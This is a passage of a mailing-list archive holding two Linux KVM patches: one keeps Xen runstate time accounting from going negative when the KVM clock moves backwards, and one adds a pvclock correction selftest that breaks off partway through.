	bh=+DxarpYo110/dFxnS/IKK6M+YoxESrTWdUshhMTCtwg=; b=MEL2niT5EFY+zAwbanklEWdU/M
	ApQfH7CLS75uHA+Ve3HnJPT3CDoY7Ntln8AyL0ZVazYC2xpkp9Qp5ZpItc3r34n3CiWySuY+rm0QR
	2K3bfN7zDWZ3w/8GVeqwrEMUwsjn7j/sYRJrpjKwP+RWVmXruv4VuM1PeRbegU7HDJdZsJpvc3Vrz
	NE1zUxOfjT7GfZg7LOrYGSKbUEyXjcJc2Vl1c1UFdAPYaWJ6UW+40dXr9zINFbDqKEjv0uEmcac36
	0wmBbegVWBsMrkr6O3FgL1arZdnJNfXuotkpgjO5jjCg9bg6ffA1PWZOalFNk7xcxUnFuFdylS5OG
	zwCbQT8w==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 20/36] KVM: x86/xen: Prevent runstate times from becoming negative
Date: Tue, 28 Jul 2026 15:40:00 +0100
Message-ID: <20260728144954.355376-21-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1785250208-36EDEAE4-B746CDBF/0/0
X-purgate-type: clean
X-purgate-size: 3262

From: David Woodhouse <dwmw@amazon.co.uk>

When kvm_xen_update_runstate() is invoked to set a vCPU's runstate, the
time spent in the previous runstate is accounted. This is based on the
delta between the current KVM clock time, and the previous value stored
in vcpu->arch.xen.runstate_entry_time.

If the KVM clock goes backwards, that delta will be negative. Or, since
it's an unsigned 64-bit integer, very *large*. Linux guests deal with
that particularly badly, reporting 100% steal time for ever more (well,
for *centuries* at least, until the delta has been consumed).

So when a negative delta is detected, just refrain from updating the
runstate times until the KVM clock catches up with runstate_entry_time
again.

Also clamp steal_ns to delta_ns to prevent steal time from exceeding
the total elapsed time, and handle negative steal_ns (which can happen
if run_delay goes backwards across a scheduler update).

The userspace APIs for setting the runstate times do not allow them to
be set past the current KVM clock, but userspace can still adjust the
KVM clock *after* setting the runstate times, which would cause this
situation to occur.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/xen.c | 28 ++++++++++++++++++++++------
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kvm/xen.c b/arch/x86/kvm/xen.c
index f2c6757fc1fa..998cdcb6aa30 100644
--- a/arch/x86/kvm/xen.c
+++ b/arch/x86/kvm/xen.c
@@ -587,29 +587,45 @@ void kvm_xen_update_runstate(struct kvm_vcpu *v, int state)
 {
 	struct kvm_vcpu_xen *vx = &v->arch.xen;
 	u64 now = get_kvmclock_ns(v->kvm);
-	u64 delta_ns = now - vx->runstate_entry_time;
 	u64 run_delay = current->sched_info.run_delay;
+	s64 delta_ns = now - vx->runstate_entry_time;
+	s64 steal_ns = run_delay - vx->last_steal;
 
+	/*
+	 * If the vCPU was never run before, its prior state should
+	 * be considered RUNSTATE_offline.
+	 */
 	if (unlikely(!vx->runstate_entry_time))
 		vx->current_runstate = RUNSTATE_offline;
 
+	/*
+	 * If KVM clock went backwards, just update the current runstate
+	 * but don't account any time. Leave entry_time unchanged so the
+	 * next positive delta covers the full period once the clock
+	 * catches up. Update last_steal every time so stolen time only
+	 * reflects the interval since the most recent call.
+	 */
+	if (delta_ns < 0)
+		goto update_guest;
+
 	/*
 	 * Time waiting for the scheduler isn't "stolen" if the
 	 * vCPU wasn't running anyway.
 	 */
-	if (vx->current_runstate == RUNSTATE_running) {
-		u64 steal_ns = run_delay - vx->last_steal;
+	if (vx->current_runstate == RUNSTATE_running && steal_ns > 0) {
+		if (steal_ns > delta_ns)
+			steal_ns = delta_ns;
 
 		delta_ns -= steal_ns;
-
 		vx->runstate_times[RUNSTATE_runnable] += steal_ns;
 	}
-	vx->last_steal = run_delay;
 
 	vx->runstate_times[vx->current_runstate] += delta_ns;
-	vx->current_runstate = state;
 	vx->runstate_entry_time = now;
 
+ update_guest:
+	vx->current_runstate = state;
+	vx->last_steal = run_delay;
 	if (vx->runstate_cache.active)
 		kvm_xen_update_runstate_guest(v, state == RUNSTATE_runnable);
 }
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374496.1621683 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8H-0005jf-Nm; Tue, 28 Jul 2026 14:50:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374496.1621683; Tue, 28 Jul 2026 14:50:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8H-0005hS-80; Tue, 28 Jul 2026 14:50:13 +0000
Received: by outflank-mailman (input) for mailman id 1374496;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058E-LH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8C-00Ehpw-1m; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c197-2eae-0a2a0a5409dd-0a2a4509d620-16
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-be1a-0a2a45090019-5a9b3222ec2c-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUPB-3SBI; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZz-2Qtq;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=A0RxOqO6k/gXLQAam9gUb6BImYj7vgUKiqc0LeMLLv0=; b=aT+Ds8SycXYfQLZoJWACguQH5K
	6uZbpsJ5Im8bL9PnFwJX3LBD0Sy1oZzcbRpy62Z3iwhFD3UYnYUvA3QJRFEWu/A1Yxi8j+0lSLbUt
	5eapeC0uea5PQDOD2ND3SxNVUdyjhnL4cxLgvwVLZ3IE3DWgpSUWt87K7gd62R5yTYhcUlIFrj/qr
	gc5N5EMkyumVFYTvPXoL3PM/lsGBuXSlnm3AvZ+9l05etV8Cex1ecOd7zcgc8XtM+2VNlFfkScDg6
	sKTT/A448PjPruXNQeQXpfzT4he6uEGQ9BRMNeZ5qruF3QrXJD9WltCwOCDYAilbKjGsIK3kjAEGs
	/F0Ej8CQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 33/36] KVM: selftests: Add KVM/PV clock selftest to prove timer correction
Date: Tue, 28 Jul 2026 15:40:13 +0100
Message-ID: <20260728144954.355376-34-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1785250208-FCA16034-82225A34/0/0
X-purgate-type: clean
X-purgate-size: 16050

From: Jack Allister <jalliste@amazon.com>

A VM's KVM/PV clock has an inherent relationship to its TSC. When either
the host system live-updates or the VM is live-migrated this pairing of
the two clock sources should stay the same. In reality this is not the
case without some correction taking place.

The KVM_GET_CLOCK_GUEST/KVM_SET_CLOCK_GUEST ioctls can be used to
perform a correction on the PVTI (PV time information) structure held by
KVM to effectively fix up the kvmclock_offset prior to the guest VM
resuming in either a live-update/migration scenario.

This test proves that without the necessary fixup there is a perceived
change in the guest TSC and KVM/PV clock relationship before and after a
simulated LU/LM takes place, and that the correction eliminates it.

The test:
  1. Snapshots the PVTI at boot (PVTI0).
  2. Induces a change in PVTI data (KVM_REQ_MASTERCLOCK_UPDATE).
  3. Snapshots the PVTI after the change (PVTI1).
  4. Requests correction via KVM_SET_CLOCK_GUEST using PVTI0.
  5. Snapshots the PVTI after correction (PVTI2).

Then samples the TSC at a single point in time and calculates the KVM
clock using each PVTI snapshot. The corrected clock should match the
boot clock to within Â±1ns.

The test enumerates multiple TSC frequencies from 1GHz to 5GHz at 500MHz
steps, crossing the 32-bit boundary, to exercise the scaling path at
various ratios. The sleep duration between snapshots is configurable via
the -s/--sleep command line option.

Co-developed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Jack Allister <jalliste@amazon.com>
Reviewed-by: Paul Durrant <paul@xen.org>
Cc: Dongli Zhang <dongli.zhang@oracle.com>
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../testing/selftests/kvm/x86/pvclock_test.c  | 443 ++++++++++++++++++
 2 files changed, 444 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/pvclock_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 28eba412a2b9..95539deea266 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -107,6 +107,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_counters_test
 TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
+TEST_GEN_PROGS_x86 += x86/pvclock_test
 TEST_GEN_PROGS_x86 += x86/pvclock_migration_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
diff --git a/tools/testing/selftests/kvm/x86/pvclock_test.c b/tools/testing/selftests/kvm/x86/pvclock_test.c
new file mode 100644
index 000000000000..f2b917ed5dea
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/pvclock_test.c
@@ -0,0 +1,443 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright Â© Amazon.com, Inc. or its affiliates.
+ *
+ * Tests for pvclock API
+ * KVM_SET_CLOCK_GUEST/KVM_GET_CLOCK_GUEST
+ */
+#include <getopt.h>
+#include <stdint.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+/*
+ * Reproduce the pvclock calculation the guest uses to convert TSC to
+ * nanoseconds. This must match the kernel's __pvclock_read_cycles().
+ */
+static inline uint64_t pvclock_scale_delta(uint64_t delta, uint32_t mul,
+					   int8_t shift)
+{
+	if (shift < 0)
+		delta >>= -shift;
+	else
+		delta <<= shift;
+	return ((__uint128_t)delta * mul) >> 32;
+}
+
+static inline uint64_t pvclock_read_cycles(struct pvclock_vcpu_time_info *src,
+					   uint64_t tsc)
+{
+	uint64_t delta = tsc - src->tsc_timestamp;
+
+	return src->system_time + pvclock_scale_delta(delta,
+						      src->tsc_to_system_mul,
+						      src->tsc_shift);
+}
+
+static inline void pvti_snapshot(struct pvclock_vcpu_time_info *dst,
+				 volatile struct pvclock_vcpu_time_info *src)
+{
+	uint32_t version;
+
+	do {
+		version = src->version;
+		__asm__ __volatile__("" ::: "memory");
+		*dst = *src;
+		__asm__ __volatile__("" ::: "memory");
+	} while ((src->version & 1) || src->version != version);
+}
+
+enum {
+	STAGE_FIRST_BOOT,
+	STAGE_UNCORRECTED,
+	STAGE_CORRECTED
+};
+
+#define KVMCLOCK_GPA	0xc0000000ull
+#define KVMCLOCK_SIZE	sizeof(struct pvclock_vcpu_time_info)
+
+static void trigger_pvti_update(void)
+{
+	/*
+	 * Toggle between KVM's old and new system time methods to coerce KVM
+	 * into updating the fields in the PV time info struct.
+	 */
+	wrmsr(MSR_KVM_SYSTEM_TIME, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+}
+
+static void guest_code(void)
+{
+	struct pvclock_vcpu_time_info *pvti =
+		(void *)(unsigned long)KVMCLOCK_GPA;
+	struct pvclock_vcpu_time_info pvti_boot;
+	struct pvclock_vcpu_time_info pvti_uncorrected;
+	struct pvclock_vcpu_time_info pvti_corrected;
+	uint64_t tsc_guest;
+	uint64_t clk_boot, clk_uncorrected, clk_corrected;
+	int64_t delta_corrected;
+
+	/* Set up kvmclock and snapshot the initial pvclock parameters. */
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	pvti_snapshot(&pvti_boot, pvti);
+	GUEST_SYNC(STAGE_FIRST_BOOT);
+
+	/*
+	 * Trigger an update of the PVTI. Calculating the KVM clock using this
+	 * updated structure will show a delta from the original.
+	 */
+	trigger_pvti_update();
+	pvti_snapshot(&pvti_uncorrected, pvti);
+	GUEST_SYNC(STAGE_UNCORRECTED);
+
+	/*
+	 * Snapshot the corrected time (the host does KVM_SET_CLOCK_GUEST when
+	 * handling STAGE_UNCORRECTED).
+	 */
+	pvti_snapshot(&pvti_corrected, pvti);
+
+	/*
+	 * Sample the TSC at a single point in time, then calculate the
+	 * effective KVM clock using the PVTI from each stage. Verify that the
+	 * corrected clock matches the boot clock to within Â±2ns.
+	 */
+	tsc_guest = rdtsc();
+
+	clk_boot = pvclock_read_cycles(&pvti_boot, tsc_guest);
+	clk_uncorrected = pvclock_read_cycles(&pvti_uncorrected, tsc_guest);
+	clk_corrected = pvclock_read_cycles(&pvti_corrected, tsc_guest);
+
+	delta_corrected = clk_boot - clk_corrected;
+
+	__GUEST_ASSERT(delta_corrected >= -2 && delta_corrected <= 2,
+		       "corrected delta %ld out of range (boot=%lu uncorrected=%lu corrected=%lu)",
+		       delta_corrected, clk_boot, clk_uncorrected, clk_corrected);
+
+	GUEST_SYNC(STAGE_CORRECTED);
+}
+
+static void run_test(struct kvm_vm *vm, struct kvm_vcpu *vcpu,
+		     unsigned int sleep_sec)
+{
+	struct pvclock_vcpu_time_info pvti_before;
+	struct ucall uc;
+
+	for (;;) {
+		vcpu_run(vcpu);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+
+		switch (get_ucall(vcpu, &uc)) {
+		case UCALL_ABORT:
+			REPORT_GUEST_ASSERT(uc);
+			break;
+		case UCALL_SYNC:
+			break;
+		default:
+			TEST_FAIL("Unexpected ucall");
+		}
+
+		switch (uc.args[1]) {
+		case STAGE_FIRST_BOOT:
+			/* Save the pvclock parameters before the update. */
+			vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti_before);
+
+			/* Sleep to let the clocks diverge. */
+			sleep(sleep_sec);
+			break;
+
+		case STAGE_UNCORRECTED:
+			/* Restore the original pvclock parameters. */
+			vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti_before);
+			break;
+
+		case STAGE_CORRECTED:
+			/* Guest verified the delta in-guest. */
+			return;
+
+		default:
+			TEST_FAIL("Unknown stage %lu", uc.args[1]);
+		}
+	}
+}
+
+static void configure_pvclock(struct kvm_vm *vm)
+{
+	unsigned int nr_pages;
+
+	nr_pages = vm_calc_num_guest_pages(VM_MODE_DEFAULT, getpagesize());
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1, nr_pages, 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA, nr_pages);
+}
+
+static void run_at_frequency(uint64_t tsc_khz, unsigned int sleep_sec)
+{
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+
+	pr_info("Testing at TSC frequency %lu kHz\n", tsc_khz);
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	configure_pvclock(vm);
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)tsc_khz);
+	run_test(vm, vcpu, sleep_sec);
+	kvm_vm_free(vm);
+}
+
+static void test_tsc_stable_bit(void);
+static void test_clock_guest_with_offsets(void);
+
+static void usage(const char *name)
+{
+	printf("Usage: %s [options]\n"
+	       "  -s, --sleep SEC     sleep duration between snapshots (default: 2)\n"
+	       "  -h, --help          show this help\n", name);
+}
+
+int main(int argc, char *argv[])
+{
+	static const struct option long_opts[] = {
+		{ "sleep", required_argument, NULL, 's' },
+		{ "help",  no_argument,       NULL, 'h' },
+		{ NULL,    0,                  NULL,  0  },
+	};
+	unsigned int sleep_sec = 2;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	uint64_t host_khz;
+	uint64_t freq;
+	int opt;
+
+	while ((opt = getopt_long(argc, argv, "s:h", long_opts, NULL)) != -1) {
+		switch (opt) {
+		case 's':
+			sleep_sec = atoi(optarg);
+			break;
+		case 'h':
+		default:
+			usage(argv[0]);
+			return opt == 'h' ? 0 : 1;
+		}
+	}
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+	TEST_REQUIRE(kvm_has_cap(KVM_CAP_TSC_CONTROL));
+
+	vm = vm_create_with_one_vcpu(&vcpu, guest_code);
+	configure_pvclock(vm);
+
+	/* Check KVM_GET_CLOCK_GUEST is supported */
+	{
+		struct pvclock_vcpu_time_info tmp;
+		int ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &tmp);
+		TEST_REQUIRE(ret == 0);
+	}
+
+	/* First run at native frequency (no scaling). */
+	run_test(vm, vcpu, sleep_sec);
+
+	/*
+	 * Then enumerate a range of TSC frequencies crossing the 32-bit
+	 * boundary, to exercise the scaling path at various ratios.
+	 */
+	host_khz = __vcpu_ioctl(vcpu, KVM_GET_TSC_KHZ, NULL);
+	kvm_vm_free(vm);
+
+	for (freq = 1000000; freq <= 5000000; freq += 500000) {
+		if (freq == host_khz)
+			continue;
+		run_at_frequency(freq, sleep_sec);
+	}
+
+	test_tsc_stable_bit();
+	test_clock_guest_with_offsets();
+
+	return 0;
+}
+
+static volatile uint32_t vcpu_counter;
+static void guest_code_stable_bit(void)
+{
+	uint32_t idx = __atomic_fetch_add(&vcpu_counter, 1, __ATOMIC_SEQ_CST);
+	uint64_t gpa = KVMCLOCK_GPA + idx * sizeof(struct pvclock_vcpu_time_info);
+
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, gpa | KVM_MSR_ENABLED);
+	GUEST_SYNC(0);
+	GUEST_SYNC(0);
+	GUEST_SYNC(0);
+}
+
+static void set_tsc_offset(struct kvm_vcpu *vcpu, uint64_t offset)
+{
+	struct kvm_device_attr attr = {
+		.group = KVM_VCPU_TSC_CTRL,
+		.attr = KVM_VCPU_TSC_OFFSET,
+		.addr = (__u64)(uintptr_t)&offset,
+	};
+
+	TEST_REQUIRE(__vcpu_has_device_attr(vcpu, KVM_VCPU_TSC_CTRL,
+					    KVM_VCPU_TSC_OFFSET) == 0);
+	vcpu_ioctl(vcpu, KVM_SET_DEVICE_ATTR, &attr);
+}
+
+static void run_vcpu_once(struct kvm_vcpu *vcpu)
+{
+	struct ucall uc;
+
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	switch (get_ucall(vcpu, &uc)) {
+	case UCALL_ABORT:
+		REPORT_GUEST_ASSERT(uc);
+		break;
+	case UCALL_SYNC:
+		break;
+	default:
+		TEST_FAIL("Unexpected ucall");
+	}
+}
+
+static void test_tsc_stable_bit(void)
+{
+	struct pvclock_vcpu_time_info pvti;
+	struct kvm_vcpu *vcpus[2];
+	struct kvm_vm *vm;
+	int ret;
+
+	pr_info("Testing PVCLOCK_TSC_STABLE_BIT with matched/unmatched TSCs\n");
+
+	vm = vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
+	configure_pvclock(vm);
+
+	/*
+	 * Case 1: All TSCs matched (same frequency and offset).
+	 * Master clock should be active, PVCLOCK_TSC_STABLE_BIT set.
+	 */
+	run_vcpu_once(vcpus[0]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST should succeed with matched TSCs");
+	TEST_ASSERT(pvti.flags & PVCLOCK_TSC_STABLE_BIT,
+		    "PVCLOCK_TSC_STABLE_BIT should be set with matched TSCs");
+
+	/*
+	 * Case 2: Different TSC offset, same frequency.
+	 * Master clock should still be active (frequency matches), but
+	 * PVCLOCK_TSC_STABLE_BIT should be cleared (offsets differ).
+	 */
+	set_tsc_offset(vcpus[1], 12345678);
+	run_vcpu_once(vcpus[1]);
+	run_vcpu_once(vcpus[0]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	if (ret) {
+		/* Master clock disabled by offset mismatch â€” old kernel */
+		pr_info("  Skipping offset tests (master clock requires matched offsets)\n");
+		goto out_stable;
+	}
+	TEST_ASSERT(!(pvti.flags & PVCLOCK_TSC_STABLE_BIT),
+		    "PVCLOCK_TSC_STABLE_BIT should be clear with offset-mismatched TSCs");
+
+	/*
+	 * Case 3: Different TSC frequency.
+	 * Master clock should be disabled entirely.
+	 */
+	vcpu_ioctl(vcpus[1], KVM_SET_TSC_KHZ,
+		   (void *)(unsigned long)(__vcpu_ioctl(vcpus[1], KVM_GET_TSC_KHZ, NULL) / 2));
+	/* Write TSC to trigger kvm_synchronize_tsc / kvm_track_tsc_matching */
+	vcpu_set_msr(vcpus[1], MSR_IA32_TSC, 0);
+	run_vcpu_once(vcpus[1]);
+
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti);
+	TEST_ASSERT(ret && errno == EINVAL,
+		    "GET_CLOCK_GUEST should fail with frequency-mismatched TSCs, got %d (errno %d)",
+		    ret, errno);
+
+out_stable:
+	kvm_vm_free(vm);
+}
+
+static void test_clock_guest_with_offsets(void)
+{
+	struct pvclock_vcpu_time_info pvti0, pvti1, pvti1_after;
+	struct kvm_vcpu *vcpus[2];
+	struct kvm_vm *vm;
+	int64_t delta;
+	int ret;
+
+	pr_info("Testing KVM_[GS]ET_CLOCK_GUEST with different TSC offsets\n");
+
+	vm = vm_create_with_vcpus(2, guest_code_stable_bit, vcpus);
+	configure_pvclock(vm);
+
+	/* Set different TSC offsets on the two vCPUs */
+	set_tsc_offset(vcpus[0], 0);
+	set_tsc_offset(vcpus[1], 1000000000ull);
+
+	/* Run both to establish kvmclock */
+	run_vcpu_once(vcpus[0]);
+	run_vcpu_once(vcpus[1]);
+
+	/* GET_CLOCK_GUEST on both â€” should succeed (master clock active) */
+	ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti0);
+	if (ret) {
+		pr_info("  Skipping (master clock requires matched offsets on this kernel)\n");
+		kvm_vm_free(vm);
+		return;
+	}
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 failed");
+
+	/* The tsc_timestamps should differ (different offsets) */
+	TEST_ASSERT(pvti0.tsc_timestamp != pvti1.tsc_timestamp,
+		    "tsc_timestamps should differ with different offsets");
+
+	/* Sleep to let time elapse, then restore vcpu0's clock */
+	sleep(1);
+	vcpu_ioctl(vcpus[0], KVM_SET_CLOCK_GUEST, &pvti0);
+
+	/* Run vcpu0 to process the clock update */
+	run_vcpu_once(vcpus[0]);
+
+	/* GET_CLOCK_GUEST on vcpu1 â€” should reflect the correction */
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1_after);
+	TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu1 after SET failed");
+
+	/*
+	 * After SET on vcpu0, verify the correction worked by getting
+	 * the clock on vcpu0 again. The mul/shift should be the same,
+	 * and computing kvmclock at the same TSC should give the same
+	 * result as the original (within Â±2ns).
+	 */
+	{
+		struct pvclock_vcpu_time_info pvti0_after;
+		uint64_t tsc_now, clk_from_old, clk_from_new;
+
+		ret = __vcpu_ioctl(vcpus[0], KVM_GET_CLOCK_GUEST, &pvti0_after);
+		TEST_ASSERT(!ret, "GET_CLOCK_GUEST on vcpu0 after SET failed");
+
+		tsc_now = pvti0_after.tsc_timestamp;
+		clk_from_old = pvclock_read_cycles(&pvti0, tsc_now);
+		clk_from_new = pvclock_read_cycles(&pvti0_after, tsc_now);
+
+		delta = (int64_t)clk_from_new - (int64_t)clk_from_old;
+		TEST_ASSERT(delta >= -2 && delta <= 2,
+			    "clock correction delta should be <=2ns, got %ld ns",
+			    delta);
+	}
+
+	/*
+	 * Also verify that vcpu1's clock is still accessible (master
+	 * clock still active with different offsets).
+	 */
+	ret = __vcpu_ioctl(vcpus[1], KVM_GET_CLOCK_GUEST, &pvti1_after);
